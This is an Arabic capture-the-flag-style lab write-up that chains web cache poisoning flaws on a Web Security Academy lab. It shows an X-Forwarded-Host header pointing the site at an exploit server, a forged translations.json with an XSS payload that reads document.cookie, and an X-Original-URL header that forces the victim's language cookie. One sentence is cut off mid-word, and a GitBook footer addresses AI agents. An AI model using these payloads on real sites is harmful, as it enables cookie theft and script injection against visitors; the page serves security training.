> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md).

# مزيج من ثغرات تسميم ذاكرة التخزين المؤقت للويب

### دمج ثغرات تسميم ذاكرة التخزين المؤقت للويب

يجب علينا **تسميم ذاكرة التخزين المؤقت للصفحة الرئيسية** بنسخة تعمل **`alert(document.cookie)`** في متصفح الزائر. يقوم الضحية بتمرير `/` about **كل دقيقة** و **لغة الضحية هي الإنجليزية (`lang=en` الكوكي)**.

<figure><img src="/files/626be3775f121d37e3170e880e567fe233751560" alt=""><figcaption></figcaption></figure>

### (1) نقطة الدخول: وظيفة الترجمة من جانب العميل

في الصفحة الرئيسية، نلاحظ:

* ملف `lang` الكوكي (على سبيل المثال، `lang=es`) + `session=...`
* برنامج ترجمة نصي: **`/resources/js/translations.js`**

{% code overflow="wrap" %}

```http
Cookie: lang=es; session=3AJsSQlcvMWoyYAD7DAbxUISdsu1rIFg
```

{% endcode %}

```javascript
function initTranslations(jsonUrl)
{
    const lang = document.cookie.split(';')
        .map(c => c.trim().split('='))
        .filter(p => p[0] === 'lang')
        .map(p => p[1])
        .find(() => true);

    const translate = (dict, el) => {
        for (const k in dict) {
            if (el.innerHTML === k) {
                el.innerHTML = dict[k];
            } else {
                el.childNodes.forEach(el_ => translate(dict, el_));
            }
        }
    }

    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            const select = document.getElementById('lang-select');
            if (select) {
                for (const code in j) {
                    const name = j[code].name;
                    const el = document.createElement("option");
                    el.setAttribute("value", code);
                    el.innerText = name;
                    select.appendChild(el);
                    if (code === lang) {
                        select.selectedIndex = select.childElementCount - 1;
                    }
                }
            }

            lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
        });
}
```

يقرأ هذا البرنامج النصي `lang` من ملفات تعريف الارتباط، ثم يجري `fetch()` إلى JSON:

```json
{
    "en": {
        "name": "الإنجليزية"
    },
    "es": {
        "name": "الإسبانية",
        "translations": {
            "العودة إلى القائمة": "Volver a la lista",
            "عرض التفاصيل": "Ver detailes",
            "الوصف:": "Description:"
        }
    },
    "cn": {
        "name": "中文",
        "translations": {
            "العودة إلى القائمة": "返回清單",
            "عرض التفاصيل": "查看詳情",
            "الوصف:": "描述:"
        }
    },
    "ar": {
        "name": "عربى",
        "translations": {
            "العودة إلى القائمة": "العودة إلى القائمة",
            "عرض التفاصيل": "عرض التفاصيل",
            "الوصف:": "وصف:"
        }
    },
    "en-gb": {
        "name": "الإنجليزية السليمة",
        "translations": {
            "العودة إلى القائمة": "From whence you came",
            "عرض التفاصيل": "Do me the honour of elaborating",
            "الوصف:": "Pontifications on the subject matter:"
        }
    },
    "ml": {
        "name": "മലയാളം",
        "translations": {
            "العودة إلى القائمة": "ലിസ്റ്റിലേക്ക് മടങ്ങുക",
            "عرض التفاصيل": "വിശദാംശങ്ങൾ കാണുക",
            "الوصف:": "വിവരണം:"
        }
    },
    "hb": {
        "name": "עברית",
        "translations": {
            "العودة إلى القائمة": "חזור לרשימה",
            "عرض التفاصيل": "הצג פרטים",
            "الوصف:": "תיאור:"
        }
    },
    "zl": {
        "name": "Ẕ̻͕̿̊ͤ̍ͅa͙l̗ͧg̮̤̰̘͇ȍ͇͕̳̙͙͉́̅̋̌̅",
        "translations": {
            "العودة إلى القائمة": "Re̹̰̘͉̹̪ͅt̬̫̜ȕͩ͒ͥͥr̃̉͒n ̎͂t͎͖̽͋o͖̟͚͙̲͐ͤͫ̎̓ ̼̟͈̭͉͎̂ͯ̔ͤͤ̏͐ͅliͤ͑ͧ̆̐̈̀sṭ̠̮̰͍̙͒̔͆̈ͤ̅",
            "عرض التفاصيل": "V̖̮͙ͅi͇e͙̦w̭̣̫͇̦̬̰ ̓͑̓ͯ̔d͍͂e͚̮͖͍͖̠͙ͮͭ̉ͦ̏͌̆t̙͎̺͉a̳̖͔̱͉̱͑̆̌̃͊ͬi̯͚͙̼̹̮l̖͎͛̈́͒ͅs̒̒ͤ̽̒̀",
            "الوصف:": "D̳͔e̝ͩ̐ͅsc̗̱̼̤̬̎̓ͪͣͭ̐ͅr̪̝͖̙̱̄̓͌̓̚ip̭̦̭̰̻ͣ̓̽ͨ̚ț̤̝̻i̹̱̟̞͕̓̓ͬ̓ͬ̆ͅon̠͚͕̈́̋̓:"
        }
    },
    "fn": {
        "name": "Suomalainen",
        "translations": {
            "العودة إلى القائمة": "Palaa luetteloon",
            "عرض التفاصيل": "View details",
            "الوصف:": "Kuvaus:"
        }
    },
    "hw": {
        "name": "Ōlelo Hawaiʻi",
        "translations": {
            "العودة إلى القائمة": "Hoʻi i ka papa inoa",
            "عرض التفاصيل": "E nānā i nā kikoʻī",
            "الوصف:": "ʻO keʻano:"
        }
    },
    "mm": {
        "name": "ဗမာ",
        "translations": {
            "العودة إلى القائمة": "စာရင်းသို့ပြန်သွားသည်",
            "عرض التفاصيل": "အသေးစိတ်ကြည့်ရန်",
            "الوصف:": "ဖော်ပြချက်:"
        }
    }
}
```

و `data.host` يأتي من كتلة مضمنة في الصفحة الرئيسية:

```http
<script>
     data = {"host":"0acc008b046bd245809803b8002b0061.web-security-academy.net","path":"/"}
</script>
```

ثم يطبق البرنامج النصي الترجمات باستبدال النص عبر `innerHTML`، وهو أمر مهم لأنه يمكن أن يحول الترجمة إلى \*\*حقن HTML\*\* إذا كنت تتحكم في JSON.

### الثغرة رقم 1: التلاعب بالمضيف عبر `X-Forwarded-Host`

بإضافة ترويسة HTTP التالية

```http
X-Forwarded-Host: test.com
```

نجد أن القيمة تنعكس في `data.host`.

<figure><img src="/files/7667effbcc5e36f8482864536733845c0c935dca" alt=""><figcaption></figcaption></figure>

```javascript
<script>
    initTranslations('//' + data.host + '/resources/json/translations.json');
</script>
```

<figure><img src="/files/8c30185640b4a928042b3b6ffeae6457ca719270" alt=""><figcaption></figcaption></figure>

وبالتالي يمكننا إجبار المتصفح على تحميل الملف:

```bash
/resources/json/translations.json
```

### 3. الثغرة رقم 2: XSS عبر ملف ترجمة JSON

نستضيف على خادم الاستغلال ملفًا مزيفًا `translations.json` يحتوي على حقن XSS داخل ترجمة، على سبيل المثال:

```json
{
    "en": {
        "name": "الإنجليزية"
    },
    "es": {
        "name": "الإسبانية",
        "translations": {
            "العودة إلى القائمة": "Hola",
            "عرض التفاصيل": "></a><img src=0 onerror=alert(document.cookie)>",
            "الوصف:": "Description:"
        }
    }
}
```

<figure><img src="/files/1ae9874943413bd100faeed8f3de8007b56f7748" alt=""><figcaption></figcaption></figure>

ثم نستخدم:

```http
X-Forwarded-Host: exploit-0a19004104f2d29e80b40256011c00b0.exploit-server.net/
```

ستشير الصفحة الرئيسية، المخدومة من ذاكرة التخزين المؤقت، الآن إلى ملف JSON الخبيث الخاص بنا.

لذلك يُفسَّر محتوى الترجمة على أنه HTML، مما يسمح بتنفيذ JavaScript المحقون.

<figure><img src="/files/299142901bf2ccf9a9fc2aa734b63f84a419a98f" alt=""><figcaption></figcaption></figure>

### 4. القيد: الضحية تستخدم الإنجليزية

لا يُنفَّذ برنامج الترجمة إلا إذا:

* `lang !== 'en'`

الضحية في البداية `lang=en`. / حتى إذا تحكمنا في ملف JSON، \*\*l

لذا يجب علينا **تعزيز المرور بالإسبانية**.

### 5. الثغرة رقم 3: فرض تغيير اللغة عبر `X-Original-URL`

<figure><img src="/files/9a47b0db54d443afd34a96a108dd54f74641a2f5" alt=""><figcaption></figcaption></figure>

باستخدام Param Miner، نحدّد الترويسة الضعيفة:

```http
X-Original-Url: /test
```

نرسل استعلامًا آخر إلى `/` مع:

* `X-Original-URL: /test` → `404 غير موجود`

<figure><img src="/files/3dad97bacd335c973f4b1e24fabe2af0248ca06d" alt=""><figcaption></figcaption></figure>

تقدّم ذاكرة التخزين المؤقت استجابة تُعرِّف `lang=es` للزوار.

```http
X-Original-Url: /setlang/es
```

`X-Original-URL: /setlang/es` → `302 Found`

هذا المسار:

* يضبط `lang=es` ملف تعريف الارتباط
* ثم ارجع إلى الصفحة الرئيسية

<figure><img src="/files/2d30a78d5784f47c84a3cc6710779f9e94b3f249" alt=""><figcaption></figcaption></figure>

#### تنفيذ الحمولة على الضحية

1. يزور الضحية `/`
2. `lang` تنتقل الكوكي إلى `es`
3. تعيد الصفحة تحميل `translations.json` الملف من خادم الاستغلال الخاص بنا
4. يتم حقن الترجمة الخبيثة في DOM
5. ينفذ المتصفح:

<figure><img src="/files/078f40637ebf403bf20c0752950d81a66353fb65" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/combination-of-web-cache-poisoning-vulnerabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
